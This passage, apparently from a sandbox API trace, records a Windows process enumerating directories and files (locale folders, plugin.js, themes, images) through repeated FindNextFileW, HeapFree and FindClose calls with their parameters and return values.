ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0269.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0269.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.370] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0269.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.370] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0269.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.370] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0269.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.370] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0269.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.370] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0269.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.370] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0269.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.371] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0269.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.371] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0269.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.371] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0269.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.371] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0269.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.371] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0269.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.372] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0269.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.372] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0269.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.372] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0269.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.372] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0269.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.372] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0269.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.373] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0269.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.373] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0269.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.373] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0269.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.373] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0269.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.373] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0269.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.374] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0269.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.374] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0269.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.374] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.374] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0269.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.374] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0269.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.375] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0269.375] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0269.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.375] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0269.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.375] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0269.375] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0269.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0269.378] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files", cAlternateFileName="")) returned 1 [0269.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.378] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0269.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.399] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0d074e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0269.399] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0269.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.400] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0269.400] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0269.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.400] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0269.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.416] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0269.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.417] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0269.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.418] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0269.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.419] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, 